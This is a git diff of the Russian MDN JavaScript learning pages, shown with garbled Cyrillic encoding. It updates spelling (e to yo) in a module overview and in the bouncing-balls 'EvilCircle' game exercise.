- <dd>Π’ нашСм ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΌΠΎΠ΄ΡƒΠ»Π΅, посвящСнном JavaScript, ΠΌΡ‹ сначала ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° нСсколько Π³Π»Π°Π²Π½Ρ‹Ρ… вопросов, Ρ‚Π°ΠΊΠΈΡ…, ΠΊΠ°ΠΊ "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ JavaScript?",Β  "На Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΏΠΎΡ…ΠΎΠΆ?" ΠΈ "Π§Ρ‚ΠΎ с Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ?", Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ - расскаТСм, ΠΊΠ°ΠΊ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠ΄ Π½Π° JavaScript. ПослС Ρ‡Π΅Π³ΠΎ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ конструкции JavaScript: ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, строки, числа ΠΈ массивы.</dd>
+ <dd>Π’ нашСм ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΌΠΎΠ΄ΡƒΠ»Π΅, посвящённом JavaScript, ΠΌΡ‹ сначала ΠΎΡ‚Π²Π΅Ρ‚ΠΈΠΌ Π½Π° нСсколько Π³Π»Π°Π²Π½Ρ‹Ρ… вопросов, Ρ‚Π°ΠΊΠΈΡ…, ΠΊΠ°ΠΊ "Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ JavaScript?",Β  "На Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΠΏΠΎΡ…ΠΎΠΆ?" ΠΈ "Π§Ρ‚ΠΎ с Π΅Π³ΠΎ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ?", Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ - расскаТСм, ΠΊΠ°ΠΊ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠ΄ Π½Π° JavaScript. ПослС Ρ‡Π΅Π³ΠΎ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ конструкции JavaScript: ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, строки, числа ΠΈ массивы.</dd>
<dt><a href="/ru/docs/Learn/JavaScript/Building_blocks">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π½Ρ‹Π΅ элСмСнты JavaScript</a></dt>
<dd>Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΠΌ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π³Π»Π°Π²Π½Ρ‹Ρ… составных частСй JavaScript ΠΈ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΠΌ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° повсСмСстно Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Ρ‚ΠΈΠΏΡ‹ конструкций: условныС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹, Ρ†ΠΈΠΊΠ»Ρ‹, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ события. Π’ Ρ…ΠΎΠ΄Π΅ обучСния Π’Ρ‹ ΡƒΠΆΠ΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ с Π½ΠΈΠΌΠΈ, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠΈΠΌΠΎΡ…ΠΎΠ΄ΠΎΠΌ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΎ Π½ΠΈΡ….</dd>
<dt><a href="/ru/docs/Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ JavaScript</a></dt>
diff --git a/files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html b/files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html
index c8d163e325..0ce0f94ca1 100644
--- a/files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html
+++ b/files/ru/learn/javascript/objects/adding_bouncing_balls_features/index.html
@@ -35,9 +35,9 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Adding_bouncing_balls_features
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅_описаниС_ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°">ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ описаниС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°</h2>
-<p>Наша вСсСлая дСмонстрация ΡˆΠ°Ρ€ΠΎΠ² - это вСсСло, Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π΅ΡΡ‚ΡŒ ΡˆΠ°Ρ€Ρ‹, Ссли ΠΎΠ½ ΠΈΡ… ΠΏΠΎΠΉΠΌΠ°Π΅Ρ‚. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ваши Π½Π°Π²Ρ‹ΠΊΠΈ создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², создав ΠΎΠ±Ρ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Shape()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ наши ΡˆΠ°Ρ€Ρ‹ ΠΈ Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³. НаконСц, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ счСтчик ΠΎΡ‡ΠΊΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ количСство ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ ΡˆΠ°Ρ€ΠΎΠ² для Π·Π°Ρ…Π²Π°Ρ‚Π°.</p>
+<p>Наша вСсёлая дСмонстрация ΡˆΠ°Ρ€ΠΎΠ² - это вСсСло, Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‘ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π΅ΡΡ‚ΡŒ ΡˆΠ°Ρ€Ρ‹, Ссли ΠΎΠ½ ΠΈΡ… ΠΏΠΎΠΉΠΌΠ°Π΅Ρ‚. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ваши Π½Π°Π²Ρ‹ΠΊΠΈ создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², создав ΠΎΠ±Ρ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Shape()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ наши ΡˆΠ°Ρ€Ρ‹ ΠΈ Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³. НаконСц, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ счётчик ΠΎΡ‡ΠΊΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ количСство ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ ΡˆΠ°Ρ€ΠΎΠ² для Π·Π°Ρ…Π²Π°Ρ‚Π°.</p>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ готовая ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ готовая ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13875/bouncing-evil-circle.png" style="display: block; margin: 0 auto;"></p>
@@ -70,7 +70,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Adding_bouncing_balls_features
<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_EvilCircle">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ EvilCircle()</h3>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΠ»ΠΎΡ…ΠΎΠ³ΠΎ парня - <code>EvilCircle()</code>! Наша ΠΈΠ³Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³, Π½ΠΎ ΠΌΡ‹ всС Π΅Ρ‰Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСт ΠΎΡ‚ <code>Shape()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ захочСтся Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΊΡ€ΡƒΠ³ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΈΠ³Ρ€ΠΎΠΊΠΎΠΌ ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π·Π»ΠΎΠ±Π½Ρ‹Ρ… ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΉ, управляСмых ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ. Π’Ρ‹, вСроятно, Π½Π΅ ΡΠΎΠ±ΠΈΡ€Π°Π΅Ρ‚Π΅ΡΡŒ Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ ΠΌΠΈΡ€ ΠΎΠ΄Π½ΠΈΠΌ Π·Π»Ρ‹ΠΌ ΠΊΡ€ΡƒΠ³ΠΎΠΌ, Π½ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ для этой ΠΎΡ†Π΅Π½ΠΊΠΈ.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΡˆΠ»ΠΎ врСмя Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΠ»ΠΎΡ…ΠΎΠ³ΠΎ парня - <code>EvilCircle()</code>! Наша ΠΈΠ³Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³, Π½ΠΎ ΠΌΡ‹ всС Π΅Ρ‰Ρ‘ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСт ΠΎΡ‚ <code>Shape()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π²Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ захочСтся Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΊΡ€ΡƒΠ³ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΈΠ³Ρ€ΠΎΠΊΠΎΠΌ ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π·Π»ΠΎΠ±Π½Ρ‹Ρ… ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΉ, управляСмых ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ. Π’Ρ‹, вСроятно, Π½Π΅ ΡΠΎΠ±ΠΈΡ€Π°Π΅Ρ‚Π΅ΡΡŒ Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ ΠΌΠΈΡ€ ΠΎΠ΄Π½ΠΈΠΌ Π·Π»Ρ‹ΠΌ ΠΊΡ€ΡƒΠ³ΠΎΠΌ, Π½ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ для этой ΠΎΡ†Π΅Π½ΠΊΠΈ.</p>
<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code>EvilCircle()</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ <code>x</code>, <code>y</code>, <code>velX</code>, <code>velY</code> ΠΈ <code>exists</code> ΠΈΠ· <code>Shape()</code>, Π½ΠΎ <code>velX</code> ΠΈ <code>velY</code> Π΄ΠΎΠ»ΠΆΠ½Ρ‹ всСгда Ρ€Π°Π²Π½ΡΡ‚ΡŒΡΡ 20.</p>
@@ -109,7 +109,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Adding_bouncing_balls_features
<h4 id="setControls"><code>setControls()</code></h4>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <code>onkeydown</code> ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ <code>window</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… клавиш ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³ Π²ΠΎΠΊΡ€ΡƒΠ³. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ опрСдСлСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π°:</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <code>onkeydown</code> ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ <code>window</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… клавиш ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³ Π²ΠΎΠΊΡ€ΡƒΠ³. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ опрСдСлСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π°:</p>
<pre class="brush: js">var _this = this;
window.onkeydown = function(e) {
@@ -124,7 +124,7 @@ window.onkeydown = function(e) {
}
}</pre>
-<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, ΠΊΠΎΠ³Π΄Π° Π½Π°ΠΆΠ°Ρ‚Π° клавиша, ΠΏΡ€ΠΎΠΊΠΎΠ½ΡΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ ΠΎ свойствах <a href="https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° события, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, какая клавиша Π½Π°ΠΆΠ°Ρ‚Π°. Если это ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ…, прСдставлСнных ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌΠΈ ΠΊΠΎΠ΄Π°ΠΌΠΈ, Ρ‚ΠΎΠ³Π΄Π° Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π²Π»Π΅Π²ΠΎ / Π²ΠΏΡ€Π°Π²ΠΎ / Π²Π²Π΅Ρ€Ρ… / Π²Π½ΠΈΠ·.</p>
+<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, ΠΊΠΎΠ³Π΄Π° Π½Π°ΠΆΠ°Ρ‚Π° клавиша, ΠΏΡ€ΠΎΠΊΠΎΠ½ΡΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ ΠΎ свойствах <a href="https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° события, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, какая клавиша Π½Π°ΠΆΠ°Ρ‚Π°. Если это ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ…, прСдставлСнных ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌΠΈ ΠΊΠΎΠ΄Π°ΠΌΠΈ, Ρ‚ΠΎΠ³Π΄Π° Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π²Π»Π΅Π²ΠΎ / Π²ΠΏΡ€Π°Π²ΠΎ / Π²Π²Π΅Ρ€Ρ… / Π²Π½ΠΈΠ·.</p>
<ul>
<li>Для бонусного ΠΏΡƒΠ½ΠΊΡ‚Π° сообщитС Π½Π°ΠΌ, ΠΊ ΠΊΠ°ΠΊΠΈΠΌ ΠΊΠ»ΡŽΡ‡Π°ΠΌ относятся ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΠ΄Ρ‹ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ.</li>
@@ -150,12 +150,12 @@ window.onkeydown = function(e) {
<li>На ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π° Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ draw <code>draw()</code>, <code>checkBounds()</code> ΠΈ <code>collisionDetect()</code> для Π·Π»ΠΎΠ³ΠΎ ΡˆΠ°Ρ€ΠΈΠΊΠ°.</li>
</ul>
-<h3 id="РСализация_счСтчика_Π±Π°Π»Π»ΠΎΠ²">РСализация счСтчика Π±Π°Π»Π»ΠΎΠ²</h3>
+<h3 id="РСализация_счётчика_Π±Π°Π»Π»ΠΎΠ²">РСализация счётчика Π±Π°Π»Π»ΠΎΠ²</h3>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ счСтчик счСтчиков, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ счётчик счётчиков, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия:</p>
<ol>
- <li>Π’ своСм HTML-Ρ„Π°ΠΉΠ»Π΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ элСмСнт {{HTMLElement ("p")}} нСпосрСдствСнно ΠΏΠΎΠ΄ элСмСнтом {{HTMLElement ("h1")}}, содСрТащим тСкст Β«Ball count:Β».</li>
+ <li>Π’ своём HTML-Ρ„Π°ΠΉΠ»Π΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ элСмСнт {{HTMLElement ("p")}} нСпосрСдствСнно ΠΏΠΎΠ΄ элСмСнтом {{HTMLElement ("h1")}}, содСрТащим тСкст Β«Ball count:Β».</li>
<li>Π’ вашСм Ρ„Π°ΠΉΠ»Π΅ CSS Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π²Π½ΠΈΠ·Ρƒ:
<pre class="brush: css">p {
position: absolute;
@@ -165,12 +165,12 @@ window.onkeydown = function(e) {
color: #aaa;
}</pre>
</li>
- <li>Π’ своСм JavaScript сдСлайтС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ обновлСния:
+ <li>Π’ своём JavaScript сдСлайтС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ обновлСния:
<ul>
<li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, которая Ρ…Ρ€Π°Π½ΠΈΡ‚ ссылку Π½Π° Π°Π±Π·Π°Ρ†.</li>
